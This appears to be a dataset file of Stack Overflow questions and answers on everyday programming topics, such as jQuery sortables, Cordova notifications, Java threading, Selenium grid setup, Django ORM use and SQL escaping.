23074589	0	Launch Company Specific apps on iTunes App Store <p>We have an app to launch on App Store. This App is for a company users(free to download) not for publicly use. Our client has purchased the iOS developer program instead of Enterprise account. So is there any way to launch the App on AppStore using developer program. (like Custom B2B). </p> <p>Please suggest your ideas. So I can proceed to right way.</p> <p>Thanks in Advance.</p>
35780494	0	 <pre><code>any(x in message for x in myArray) </code></pre> <p>Evaluates to <code>True</code> if <strong><em>at least one</em></strong> string in <code>myArray</code> is found in <code>message</code>.</p> <pre><code>sum(x in message for x in myArray) == 1 </code></pre> <p>Evaluates to <code>True</code> if <strong><em>exactly one</em></strong> string in <code>myArray</code> is found in <code>message</code>.</p>
20129501	0	JQuery Sortable Preview <p>I need help with Sortable JQuery UI. My requirement is whenever I move the 1st div (portlet 1) with 5th div (portlet 5) 5th and 1st should get swapped and before releasing the mouse the preview should be the same (portlet 5 should be in the first place). Please help me. Please find the fiddle: <a href="http://jsfiddle.net/R_S/3TqTU/2/" rel="nofollow">http://jsfiddle.net/R_S/3TqTU/2/</a></p> <pre><code>&lt;div class="dropme"&gt; &lt;div class="rpt 1 row1"&gt;&lt;span class="heading"&gt;Portlet 1&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 2 row1"&gt;&lt;span class="heading"&gt;Portlet 2&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 3 row1"&gt;&lt;span class="heading"&gt;Portlet 3&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 4 row2"&gt;&lt;span class="heading"&gt;Portlet 4&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 5 row2"&gt;&lt;span class="heading"&gt;Portlet 5&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 6 row2"&gt;&lt;span class="heading"&gt;Portlet 6&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 7 row3"&gt;&lt;span class="heading"&gt;Portlet 7&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 8 row3"&gt;&lt;span class="heading"&gt;Portlet 8&lt;/span&gt;&lt;/div&gt; &lt;div class="rpt 9 row3"&gt;&lt;span class="heading"&gt;Portlet 9&lt;/span&gt;&lt;/div&gt; &lt;/div&gt; $('.rpt').draggable({ cursor: 'pointer', connectWith: '.rpt', connectToSortable:'.dropme' helper: 'clone' }); $('.dropme').sortable({ connectWith: '.dropme', cursor: 'pointer' }); </code></pre>
5800357	0	 <p>Adjust <a href="http://doc.trolltech.com/4.7/qwidget.html#minimumHeight-prop" rel="nofollow">QToolBar::setMinimumHeight()</a> or <a href="http://doc.trolltech.com/4.7/qwidget.html#minimumSize-prop" rel="nofollow">QToolBar::setMinimumSize()</a> to your needs.</p> <p>And don't forget to use appropriate icon sizes then.</p>
3764	0	 <p>Second the recommendation on file paths. I've worked on a couple of projects that needed to manage large-ish asset collections, and any attempts to store things directly in the DB resulted in pain and frustration long-term.</p> <p>The only real "pro" I can think of regarding storing them in the DB is the potential for easy of individual image assets. If there are no file paths to use, and all images are streamed straight out of the DB, there's no danger of a user finding files they shouldn't have access to.</p> <p>That seems like it would be better solved with an intermediary script pulling data from a web-inaccessible file store, though. So the DB storage isn't REALLY necessary.</p>
14624832	0	 <p>The question is really, whether you need the CSR format immediately after the insertion, or you can rather have more insertions first in a more insertion friendly format and convert then to CSR.</p> <p>You may have a look at <a href="http://www-users.cs.umn.edu/~saad/software/SPARSKIT/" rel="nofollow">sparskit</a> and its linked list storage format, or you may create yourself some linked list for the new elements, and once you finished insertion, you could build up a new CSR formatted matrix, sparing a lot of reshuffling the data.</p>
33147774	0	 <p>You have to enable early bound entities by calling</p> <pre><code>_serviceProxy.EnableProxyTypes(); </code></pre> <p>on your OrganizationServiceProxy instance.</p> <pre><code>var cred = new ClientCredentials(); cred.UserName.UserName = "your username"; cred.UserName.Password = "your password"; using (var _serviceProxy = new OrganizationServiceProxy(new Uri("https://[your organization service url here]"), null, cred, null)) { _serviceProxy.EnableProxyTypes(); // Will throw error on save changes if not here var context = new CrmServiceContext(_serviceProxy); context.AddObject(new Opportunity() { Name = "My opportunity" }); context.SaveChanges(); } </code></pre>
11045515	0	How to Implement shared preference concept in tabhost on android eclipse <p>I am self- learner to android,</p> <p>Assume an android program is going to display some result on a textview.can any one tell me how to show that answer on first tab of the tab host's on the next screen.How to achieve this?</p> <p>As per my knowledge i googled and found "Shared preference" concept will be helpful to this problem. Was i right?</p> <p>And i found some samples but they are not making me clear,can any one give me some examples with screen images.</p> <p>Thanks for your precious time!.</p>
10885092	0	 <p>It looks like you're using a listbox in your template, but lists are meant to go straight down. You can do things inside the listbox items that make them look a certain way, but the list box will always create a straight up and down list of items.</p> <p>If you want a grid pattern, use the grid control and the Grid.RowDefinitions and Grid.ColumnDefinitions to make the correct pattern.</p>
7066185	0	 <p>Depending on your distribution, install the <code>unzip</code> package. Then simply issue </p> <pre><code>unzip -p YOUR_FILE.jar META-INF/MANIFEST.MF </code></pre> <p>This will dump the contents to STDOUT.</p> <p>HTH</p>
39340387	0	 <pre><code>def count_dups(L): ans = [] if not L: return ans running_count = 1 for i in range(len(L)-1): if L[i] == L[i+1]: running_count += 1 else: ans.append(running_count) running_count = 1 ans.append(running_count) return ans </code></pre>
25343201	0	 <p>Whoever first wrote that code was either</p> <p>a) Being very defensive against future use. b) Didn't understand how <code>attr</code> works.</p> <p>The method <code>attr</code> (or the underlying call of <code>getAttribute</code> will return either</p> <ul> <li>A string value, of the attribute is found</li> <li><code>null</code>, if it is not.</li> </ul> <p>Importantly, should there have been a <code>0</code> value, it would be a <em>string</em> <code>0</code>, <strike>and thus not caught in the test below</strike> -- caught against the <code>price == 0</code> test because the system would have automatically converted it to a number as part of the <code>==</code> compare.</p> <pre><code>if(price=="" || price==0 || price==null || price==undefined ) </code></pre> <p>And, due to the way that conversions work internally, those tests don't work as intended. <code>==</code> and <code>===</code> are different. It should be:</p> <pre><code>if(price === "" || price === 0 || price === null || price === undefined ) </code></pre> <p>All of which can easily be reduced to simply "price" due how how <a href="http://javascriptweblog.wordpress.com/2011/02/07/truth-equality-and-javascript/" rel="nofollow">coercion to boolean work</a>:</p> <pre><code>if (!price) </code></pre> <p>Or, if you want to catch <code>"0"</code> values</p> <pre><code>if (!price || +price === 0) </code></pre> <p>(the +price forces price to be a number, so we catch <code>0</code> <code>0.00</code> and other variations.)</p>
33511823	0	Local notification "schedule" and "trigger" methods are executing multiple times <p>Hi I'm new on ionic and I'm using (katzer/cordova-plugin-local-notifications), I have a problem and I don't know what is happening.</p> <p>When I click in a link, I'm generating a new notification. But I don't know for what when I click for the second time in the notification, the alert inside of "schedule" and "trigger" is executed two times, and when I click for the third time in the notification, the alert inside of "schedule" and "trigger" is executed three times, and so..</p> <p>This is my code, it's very simple:</p> <p>$scope.addNotification = function (){</p> <pre><code>var idaudio = Math.round(Math.random() * 10000); var date = Date.now(); cordova.plugins.notification.local.schedule({ id: idaudio, title: 'Remember', text: 'New Remember', at: date }); cordova.plugins.notification.local.on("schedule", function(notification) { alert("scheduled: " + notification.id); }); cordova.plugins.notification.local.on('trigger', function (notification) { alert("trigger" + notification.id) }); </code></pre> <p>}</p> <p>I need that when I click in a notification only one alert print the related notification id. </p> <p>Can anyone help me please?</p> <p>Thanks in advance.</p>
3253800	0	 <p>How about using a utility enumerable method:</p> <pre><code> static IEnumerable&lt;int&gt; RandomNumbersBetween(int min, int max) { int availableNumbers = (max - min) + 1 ; int yieldedNumbers = 0; Random rand = new Random(); Dictionary&lt;int, object&gt; used = new Dictionary&lt;int, object&gt;(); while (true) { int n = rand.Next(min, max+1); //Random.Next max value is exclusive, so add one if (!used.ContainsKey(n)) { yield return n; used.Add(n, null); if (++yieldedNumbers == availableNumbers) yield break; } } } </code></pre> <p>Because it returns IEnumerable, you can use it with LINQ and IEnumerable extension methods:</p> <pre><code>RandomNumbersBetween(0, 20).Take(10) </code></pre> <p>Or maybe take odd numbers only:</p> <pre><code>RandomNumbersBetween(1, 1000).Where(i =&gt; i%2 == 1).Take(100) </code></pre> <p>Et cetera.</p> <p><strong>Edit:</strong></p> <p>Note that this solution has terrible performance characteristics if you are trying to generate a full set of random numbers between <code>min</code> and <code>max</code>. </p> <p>However it works efficiently if you want to generate, say 10 random numbers between 0 and 20, or even better, between 0 and 1000.</p> <p>In worst-case scenario it can also take <code>(max - min)</code> space.</p>
34802923	0	 <p>You need to use <code>{}</code> around js expressions:</p> <pre><code>&lt;List columns={['one', 'two', 'three', 'four']} /&gt; </code></pre>
9205063	0	ProcessBuilder debugging <p>I created an executable jar and executed it using process builder from another java program. Here's my code -</p> <pre><code>public class SomeClass { public static void main(String[] args) { Process p = null; ProcessBuilder pb = new ProcessBuilder("java", "-jar", "src.jar"); pb.directory(new File("/Users/vivek/servers/azkaban-0.10/TestApp/src")); try { p = pb.start(); } catch(Exception ex) { ex.printStackTrace(); } } </code></pre> <p>}</p> <p>I'm trying to now debug the src.jar from eclipse. I provided the project src as external project in my debug configuration, but it still never hits any of my break points. Is there a way to set up a debug environment for something like this?</p>
26716758	0	 <p>Not sure if it's causing the problem, but <code>head</code> and <code>body</code> should be inside the <code>html</code> tag.</p> <pre><code>!!! = surround '&lt;!--[if !IE]&gt; --&gt;'.html_safe, '&lt;!-- &lt;![endif]--&gt;'.html_safe do %html.no-js{:lang =&gt; 'en'} %head %body </code></pre> <p>Could be confusing the <code>surround</code> method by having multiple tags appended instead of nested... Worth a try!</p>
22226407	0	Comparing similarity matrices over time <p>I've computed 4 different similarity matrices for same items but in different time periods and I'd like to compare how similarity between items changes over time. The problem is that order of items i.e. matrix columns is different for every matrix. How can I reorder columns in matrices so all my matrices become comparable?</p>
24241335	0	WAITING at sun.misc.Unsafe.park(Native Method) <p>One of my applications hangs under some period of running under load, does anyone know what could cause such output in jstack:</p> <pre><code>"scheduler-5" prio=10 tid=0x00007f49481d0000 nid=0x2061 waiting on condition [0x00007f494e8d0000] java.lang.Thread.State: WAITING (parking) at sun.misc.Unsafe.park(Native Method) - parking to wait for &lt;0x00000006ee117310&gt; (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1085) at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:807) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1043) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1103) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) at java.lang.Thread.run(Thread.java:722) </code></pre> <p>I am seeing this a lot in jstack output when it hangs.</p> <p>I heavily using Spring @Async &amp; maps, synchronized maps &amp; ehcache.</p> <p>What is interesting this only happens on one of app instances. Two others are running perfectly fine. What else I could investigate to get more details in such case?</p> <p>I found this post <a href="http://stackoverflow.com/questions/23992787/parking-to-wait-for-0xd8cf0070-a-java-util-concurrent-locks-abstractqueueds">- parking to wait for &lt;0xd8cf0070&gt; (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)</a> but it is not very useful in my case.</p>
14384546	0	Download windows phone sdk 8 offline <p>I just installed Visual Studio 2012 express edition on my Windows 8 machine.</p> <p>Now I wanted to install the Windows 8 Phone's SDK, I know it can be downloaded from here : <a href="http://dev.windowsphone.com/en-us/downloadsdk">http://dev.windowsphone.com/en-us/downloadsdk</a></p> <p>But this link only download a setup which in turns downloads the files, I wanted to know if there is any full sdk download available which I can download and use.</p> <p>I am planning to use my office connection to download these files and then install it on my home PC.</p> <p>Any thoughts ?</p>
32005527	0	 <pre><code>String[] arrFUSE={"3", "true", "0", "FUSE"}; String[] arrPLACE={ "2", "true", "7", "PLACE"}; List&lt;List&lt;String&gt;&gt; arrLIST = new ArrayList&lt;List&lt;String&gt;&gt;(); arrLIST.add( Arrays.asList(arrFUSE) ); arrLIST.add( Arrays.asList(arrPLACE) ); </code></pre> <p>Don't use <code>{</code> on the line you create a new instance of the <code>ArrayList</code>. If you do you will be writing your own implementation of <code>ArrayList</code> on the lines below it. In stead you just want to use the standard <code>ArrayList</code> so terminate that line and start a new one.</p> <p>I also changed <code>ArrayList&lt;ArrayList&lt;String&gt;&gt;</code> to <code>List&lt;List&lt;String&gt;&gt;</code> because you want to be able to put any <code>List</code> in there, not just <code>ArrayLists</code>. In fact what <code>Arrays.asList</code> creates is not an <code>ArrayList</code> so it wouldn't fit otherwise.</p>
2088904	0	Able to include file in ASP.NET, but not check if it exists <p>I want to include certain files in my page. I'm not always sure if they exists, so I have to check if they do. (Otherwise the page crashes, as you probably know)</p> <pre><code>&lt;%@ Page Language="C#" %&gt; &lt;html&gt; &lt;body&gt; &lt;% bool exists; exists = System.IO.File.Exists("/extra/file/test.txt"); %&gt; Test include:&lt;br&gt; &lt;!--#include file="/extra/file/test.txt"--&gt; &lt;/body&gt; &lt;/html&gt; &lt;/html&gt; </code></pre> <p>While the include works, the code checking if the file exists does not.</p> <p>If I remove this code:</p> <pre><code>&lt;% bool exists; exists = System.IO.File.Exists("/extra/file/test.txt"); %&gt; </code></pre> <p>Everything runs fine. I also tried putting it in a <code>&lt;script runat="server"&gt;</code> block, but it still failed.</p>
18092036	0	Why is the GUI not working, is the code correct? <p>So Im trying to create 3 panels. The first panel has the layout set (e.g. the radio buttons and next button) I`m now adding two new panels which have different background colors. But when I execute the code I get an error of Null point exception. How do I fix that? </p> <p>Here is the code:</p> <pre><code>import java.awt.Color;import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.CardLayout; import javax.swing.*; public class Wizard { private JLabel lblPicture; private JRadioButton btLdap, btKerbegos, btSpnego, btSaml2; private JButton btNext; private JPanel panel; private JPanel panelFirst; private JPanel panelSecond; CardLayout c1 = new CardLayout(); public static void main(String[] args) { new Wizard(); } public Wizard() { JFrame frame = new JFrame("Wizard"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setSize(600,360); frame.setVisible(true); MyPanel(); RadioButtons(); Button(); Image(); groupButton(); panel.setLayout(c1); panelFirst.setBackground(Color.BLUE); panelSecond.setBackground(Color.GREEN); panel.add(panelFirst,"1"); panel.add(panelSecond,"2"); c1.show(panel,"panel"); frame.add(panel); frame.pack(); frame.setVisible(true); } public void MyPanel() { panel = new JPanel(); panel.setLayout(null); } public void RadioButtons() { btLdap = new JRadioButton ("Ldap"); btLdap.setBounds(60,85,100,20); panel.add(btLdap); btKerbegos = new JRadioButton ("Kerbegos"); btKerbegos.setBounds(60,115,100,20); panel.add(btKerbegos); btSpnego =new JRadioButton("Spnego"); btSpnego.setBounds(60,145,100,20); panel.add(btSpnego); btSaml2 = new JRadioButton("Saml2"); btSaml2.setBounds(60,175,100,20); panel.add(btSaml2); } public void Button() { btNext = new JButton ("Next"); btNext.setBounds(400,260,100,20); panel.add(btNext); btNext.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent arg0) { c1.show(panel, "2"); } }); } public void Image() { ImageIcon image = new ImageIcon("image.jpg"); lblPicture = new JLabel(image); lblPicture.setBounds(200,20, 330, 270); panel.add(lblPicture); } private void groupButton() { ButtonGroup bg1 = new ButtonGroup( ); bg1.add(btLdap); bg1.add(btKerbegos); bg1.add(btSpnego); bg1.add(btSaml2); } } </code></pre>
34552278	1	Can't see debug print statements using Google App Engine with python <p>I am new to both Google App Engine and Python. When things go wrong I'd like to see variable values and such, but print statements don't seem to be output anywhere. I would have expected them to appear in the same window where I started dev_appserver, but the only time I can see them is if a server error is imminent, then they appear in the output as I'd expect, right before the server error. Otherwise I don't see them.</p> <p>I'm sure I'm missing something very fundamental... it seems everyone else can see their print statements just fine. I have tried using the logger functionality, but best I can tell it is intended for deployed apps. At any rate I can't see any output from those either. A simple example:</p> <pre><code>class PageHandler(BaseHandler): def get(self): // the page renders just fine, but no print statement to be found print "rendering the page!" self.render("page.html") </code></pre> <p>Am I just looking in the wrong spot for the print output? Do I need to be doing something to redirect output before printing? Very confused why the print statements work only when an error is about to occur.</p>
16725188	0	 <p>For those for whom the solution provided by cpowers and WonderGrub also didn't work, you should check out the following SO question, because for me this question was actually the answer to my occurence of this problem! <a href="http://stackoverflow.com/questions/7204840/rss20feedformatter-ignores-textsyndicationcontent-type-for-syndicationitem-summa">Rss20FeedFormatter Ignores TextSyndicationContent type for SyndicationItem.Summary</a></p> <p>Judging from the positive answer from <code>thelsdj</code> and <code>Andy Rose</code> and then later the 'negative' response from <code>TimLeung</code> and the alternative offered by <code>WonderGrub</code> I would estimate that the fix offered by cpowers stopped working in some later version of ASP.NET or something.</p> <p>In any case the solution in the above SO article (derived from David Whitney's code) solved the problem with unwanted HTML encoding in CDATA blocks in an RSS 2.0 feed for me. I used it in an ASP.NET 4.0 WebForms application.</p>
7778918	0	Creating a clean unified border around an li and its ul with CSS <p>Within my <code>#header</code> <code>#nav</code>, I have a <code>&lt;ul&gt;</code> within an <code>&lt;li&gt;</code> that displays on <code>li:hover</code>. I want to put a border around everything but for some reason adding a border around the main <code>&lt;li&gt;</code> makes the <code>&lt;ul&gt;</code> within it fall out of alignment by one px on the left. </p> <p>Here's a jsFiddle to show what I'm doing:</p> <p><a href="http://jsfiddle.net/Mh3Hg/" rel="nofollow">http://jsfiddle.net/Mh3Hg/</a></p> <p>Here is my HTML:</p> <pre><code>&lt;div id="header"&gt; &lt;div id="nav"&gt; &lt;ul&gt; &lt;li id="thisli"&gt;&lt;a href="#"&gt;Main Element&lt;/a&gt; &lt;ul id="children"&gt; &lt;li&gt;&lt;a href="#"&gt;First Child&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Second Child&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;&lt;!-- end nav --&gt; &lt;/div&gt; </code></pre> <p>The border that throws it off is the <code>border-left:1px solid #99B3FF</code> applied to <code>li#thisli</code>. Can anyone help me figure out what's wrong?</p>
9131892	0	 <p>Duplicate of <a href="http://stackoverflow.com/questions/3314953/load-time-weaving-in-aspectj-using-aop-xml">Load time weaving in AspectJ using aop.xml</a>.</p> <p>Furthermore, the <a href="http://www.eclipse.org/aspectj/doc/next/devguide/ltw-configuration.html" rel="nofollow">AspectJ documentation</a> says:</p> <blockquote> <p>When several configuration files are visible from a given weaving class loader their contents are conceptually merged.</p> </blockquote>
11775590	0	 <p>I put your code on jsFiddle (with my correction): <a href="http://jsfiddle.net/odi86/6jvG4/" rel="nofollow">http://jsfiddle.net/odi86/6jvG4/</a></p> <p>You forgot to add the <code>from</code> clause to your filter, if you add it it works just fine:</p> <pre class="lang-js prettyprint-override"><code>if (filter === "UEU") { layer.setOptions({ query: { select: "'geometry'", from: '4756019', where: "'UEU' = '" + searchString + "'" } }); } else if (filter === "SUBUEU") { layer.setOptions({ query: { select: "'geometry'", from: '4756019', where: "'SUBUEU' = '" + searchString + "'" } }); } else if (filter === "CODIGO") { layer.setOptions({ query: { select: "'geometry'", from: '4756019', where: "'CODIGO' = '" + searchString + "'" } }); } </code></pre> <p>By the way: you can simplify your code a lot by just doing this (not if-else necessary):</p> <pre class="lang-js prettyprint-override"><code>layer.setOptions({ query: { select: "'geometry'", from: '4756019', where: "'" + filter + "' = '" + searchString + "'" } }); </code></pre>
18041443	0	 <p>I changed a little my script, but it needs phone to be rooted</p> <p>%adb% shell "su root cp /data/data/%PACKAGE%/databases/%DB% /sdcard/my/%DB%"</p> <p>%adb% pull /sdcard/my/%DB% db</p>
28477999	0	 <pre><code> var currentRows = $('.table tbody tr'); $.each(currentRows, function () { $(this).find(':checkbox').each(function () { if ($(this).is(':checked')) { console.log($(currentRows).eq(1).val()); } }); }); </code></pre>
15508349	0	 <p>TFM:</p> <pre><code>CAIRO_FORMAT_RGB24 each pixel is a 32-bit quantity, with the upper 8 bits unused </code></pre> <p>TFM:</p> <pre><code>stride = cairo_format_stride_for_width (format, width); data = malloc (stride * height); </code></pre> <p>Hence, the correct index calculation is</p> <pre><code>data[y * stride + x * 4 + 0] = blue; data[y * stride + x * 4 + 1] = green; data[y * stride + x * 4 + 2] = red; /* yes, in this order */ </code></pre> <p>Also, masks are taken from the image and shifts are hard-coded, which makes absolutely no sense. Calculate the shifts from the masks.</p>
21939411	0	 <p>can you check in the xib of your ViewController, select your tableView and click "size inspecto" in the right menu and you change in "iOS 6/7 Deltas": you can tape -20 in height</p> <p>i think the problem is in adaptation with ios7 and 6</p>
30380054	0	How do I iterate through a string contained in a vector? <p>For clarity, I am not asking how to iterate through a vector of strings (which is what all of my searches turn up), I want to iterate through a string contained in a vector of strings. I'm running into linker errors when trying to assign the string iterator a value from a string in a vector. </p> <p>The code below takes a reference to a const vector of strings. The purpose of the function is to reverse the order of the letters and the elements so if you passed in a vector of strings containing { "abc", "def", "ghi" } it would reorder them and return a vector of strings containing { "ihg", "fed", "cba" }. It should be noted that the function is declared as static in the header file. I'm running into a problem when I try to attempt to initialize the string iterator in the for loop. I get a linker error:</p> <pre><code>"No matching constructor for initialization of 'std::__1::__wrap_iter&lt;char*&gt;' </code></pre> <p>I thought accessing rbegin() through the -> from the vector iterator would work but... I'm stumped. Why does stringsVectorIterator->rend() cause a linker error when assigned to string::reverse_iterator rit?</p> <pre><code>vector&lt;string&gt; StringUtility::reverse(const vector&lt;string&gt; &amp;strings) { // Create a vector of strings with the same size vector as the one being passed in. vector&lt;string&gt; returnValue( strings.size() ); vector&lt;string&gt;::const_reverse_iterator stringsVectorIterator; size_t returnVectorCounter; for (stringsVectorIterator = strings.rbegin(), returnVectorCounter = 0; stringsVectorIterator != strings.rend(); stringsVectorIterator++, returnVectorCounter++) { // the problem is in the initialization of the string iterator, it creates // a linker error. for (string::reverse_iterator rit = stringsVectorIterator-&gt;rbegin(); rit != stringsVectorIterator-&gt;rend(); ++rit) { returnValue[returnVectorCounter].push_back(*rit); } } return returnValue; }; </code></pre>
3430188	0	 <p><code>NSString</code> has an instance method <code>intValue</code> that might make this more straightforward.</p> <pre><code>NSNumber *value = [NSNumber numerWithInt:[[params objectAtIndex:i] intValue]]; </code></pre> <p>Now insert that <code>value</code> into the array. If the string is always this simple, you really don't a number formatter.</p>
25653504	0	Stored Procedure Count <p>I am trying to get a dynamic count to print out but it is telling me @totalCAUUpdates needs a scalar value. Any thoughts?</p> <pre><code>declare @totalCAUUpdates as int = 0; declare @realTableName as varchar(100) = '[_TEMP_SubscriptionTransactionsForMosoPay09022014]' declare @updateSQL as varchar(1000) = 'select @totalCAUUpdates = count(*) from ' + @realTableName + ' where len(accountNumberUpdated) &gt; 0 OR len(accountAccessoryUpdated) &gt; 0;'; raiserror (@updateSQL, 0,1) with nowait; EXEC (@updateSQL); </code></pre>
32647965	0	How to display the menu name of a menu in wordpress <p>I have created a menu with the name <strong>"alggemeen"</strong> and added some items to it. </p> <p><a href="https://i.stack.imgur.com/tloDK.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tloDK.png" alt="enter image description here"></a></p> <p>I have assigned the menu to the theme location Footer menu with the slug <strong>'footer-menu'</strong>.</p> <p><a href="https://i.stack.imgur.com/bJ3P9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bJ3P9.png" alt="enter image description here"></a></p> <p>Now I know how to display the content of menu and also the menu_location. But I want to display the name the wordpress admin will provide in backend for the menu, on my website.</p> <p>I would like to echo the name of the menu that has been allocated to the menu with a theme location of <code>'Footer Menu(slug = 'footer-menu')'</code>.</p> <p>So as shown above in the picture Currently alggemeen is the menu assigned to Footer Menu so my front end should echo algemeen.</p>
12679013	1	Python- 1 second plots continous presentation <p>I have a dictionary with data. For every entry I would like to display plots for 1 second and move to the next one. The plots to display are already coded in external scripts. I would like to do this automatically. So I loop through the dict, display first set of plots[0], close the plots[0], display plots[1] close plots[1] ... I would like to set up display time for let say 1 second and have the plot as full screen. The problem that during the presentation I don't want to touch the computer. </p> <pre><code>import pylab as pl import numpy as np x = np.arange(-np.pi, np.pi, 0.1) # only for the example purpose myDict = {"sin":np.sin(x), "cos":np.cos(x), "exp":np.exp(x)} for key in myDict: print myDict[key] pl.plt.plot(myDict[key]) # in origin coming from external function pl.plt.plot(x) # in origin coming from external function pl.plt.show() </code></pre> <p>Does anyone know what function should be used and how to modify above?</p>
33170016	1	How to use Django 1.8.5 ORM without creating a django project? <p>I've used Django ORM for one of my web-app and I'm very much comfortable with it. Now I've a new requirement which needs database but nothing else that Django offers. I don't want to invest more time in learning one more ORM like sqlalchemy.</p> <p>I think I can still do <br> <code>from django.db import models</code><br> and create models, but then without <code>manage.py</code> how would I do migration and syncing?</p>
20323330	0	Error while registering node in selenium grid <p>I am getting below error while starting node for selenium grid-</p> <pre><code>Default driver org.openqa.selenium.ie.InternetExplorerDriver registration is skipped: [{platform=WINDOWS, ensureCleanSession=true, browserName=internet explorer, version=}] </code></pre> <p>does not match with current platform: MAC</p> <p>My local system that is hub contains MAC and FIREFOX</p> <p>Below the configuration of my node(VM).My scripts are on my local machine that is hub-</p> <pre><code> { "class": "org.openqa.grid.common.RegistrationRequest", "capabilities": [ { "seleniumProtocol": "WebDriver", "browserName": "firefox", "version": "25.0.1", "maxInstances": 1, "platform" : "LINUX" } ], } </code></pre> <p>Please suggest needful.</p>
14842936	0	regular expression to exclude a specific string <p>I am currently implementing an identity management solution that will provide users the ability to manage all of their endpoint accounts.</p> <p>Currently, our company password policy matches the default Windows requirements: must contain either a number or a special character, among others.</p> <p>Unfortunately, in the new system's password policy, we can require a number, a special, or both, but not "one of either." However, the new system allows validation by regular expression.</p> <p>Currently, we have this set to DISALLOW the following regex:</p> <pre><code>.*[pP][aA4][sS$]{2}[wW][oO0][rR][dD].* </code></pre> <p>This works pretty well. However, we would like to change this to ALLOW either a digit or a special, while also DISALLOWING the previous. Here is what I have tried:</p> <pre><code>((?=.*\d.*)|(?=.*[-'"!#$%&amp;()*+,./:;&lt;=&gt;?@[\]\^_`{|}~\\].*))(?!.*[pP][aA4][sS$]{2}[wW][oO0][rR][dD].*) </code></pre> <p>However, I can't get this to work. The digit/special group works fine, however the word group does not. It does see if "password" or some variation is used at the END of the string, but not at the beginning...</p> <p>Any suggestions? The system uses standard (Perl-style) regular expressions.</p>
36389339	0	 <p>In PHP 5.6+ you could do something like this:</p> <pre><code>function foo(Abc ...$args) { } foo(...$arr); </code></pre> <p><code>foo()</code> takes a variable amount of arguments of type <code>Abc</code>, and by calling <code>foo(...$arr)</code> you unpack <code>$arr</code> into a list of arguments. If <code>$arr</code> contains anything other than instances of <code>Abc</code> an error will be thrown.</p> <p>This is a little 'hacky', but it's the only way to get type hinting for an array in PHP, without putting down some extra code.</p>
25688274	0	 <p>onkeypress you're using <code>return false</code> which is causing your code being not work.</p> <p>If you remove that, it starts working as you hope.</p>
7365496	0	 <p>1) no, this should be a custom (not standard) <strong>popup()</strong> function.</p> <p>2) Your code uses someUrl to extract a value with <code>fmt:message</code> and then paste it into the popup.</p> <p>Following is an illustration on how <strong>fmt:message</strong> works:</p> <p>let's introduce the <code>&lt;fmt:message&gt;</code> action. If you really wanted to do the bare-bones amount of work necessary to build an internationalized application,is the only action that you'll need to consider. The action takes advantage of the LocalizationContext (which we talk about in the next section).By using the ,you can output values from your resource bundles as simply as:</p> <pre><code>&lt;fmt:message key="welcome"/&gt; </code></pre> <p>The appropriate resource bundle will be used to look up the key "welcome" and the translated string will be provided. This is about as easy as it gets to incorporate international support into your application. The action also supports parameterized content, also called parametric replacement. For example, you can provide variables that will be used within the string used by the key attribute. Say we want to personalize our welcome page and pass the name of a user so that we can welcome them. To do this, we use the <code>&lt;fmt:param&gt;</code> subtag. We will talk about this in more detail later in this chapter, but as a quick example, so that you are familiar with the format, the action might look like:</p> <pre><code>&lt;fmt:message key="welcome"&gt; &lt;fmt:param value="${userNameString}"/&gt; &lt;/fmt:message&gt; </code></pre> <p>taken from <a href="http://www.javaranch.com/journal/2003/09/AnIntroductionToJstl.html" rel="nofollow">here</a></p>
24909385	0	 <p><code>regexp_replace(string, '\s*(-\s*\d+|#+)$')</code><br> <a href="http://www.sqlfiddle.com/#!4/faa75/1" rel="nofollow">fiddle</a></p>
6680595	0	Java SQL Escape without using setString <p>Is there a built-in method to escape a string for SQL? I would use setString, but it happens I am using setString multiple times in the same combined SQL statement and it would be better performance (I think) if the escape happened only once instead of each time I say setString. If I had the escaped string in a variable, I could re-use it.</p> <p>Is there no way to do this in Java?</p> <p>Current method, multi-source search. In reality they are three entirely different where statements including joins, but for this example I will just show the same where for each table.</p> <pre><code>String q = '%' + request.getParameter("search") + '%'; PreparedStatement s = s("SELECT a,b,c FROM table1 where a = ? UNION select a,b,c from table2 where a = ? UNION select a,b,c FROM table3 where a = ?"); s.setString(1, q); s.setString(2, q); s.setString(3, q); ResultSet r = s.executeQuery(); </code></pre> <p>I know this is not a big deal, but I like to make things efficient and also there are situations where it is more readable to use <code>" + quote(s) + "</code> instead of <code>?</code> and then somewhere down the line you find <code>setString</code>.</p>
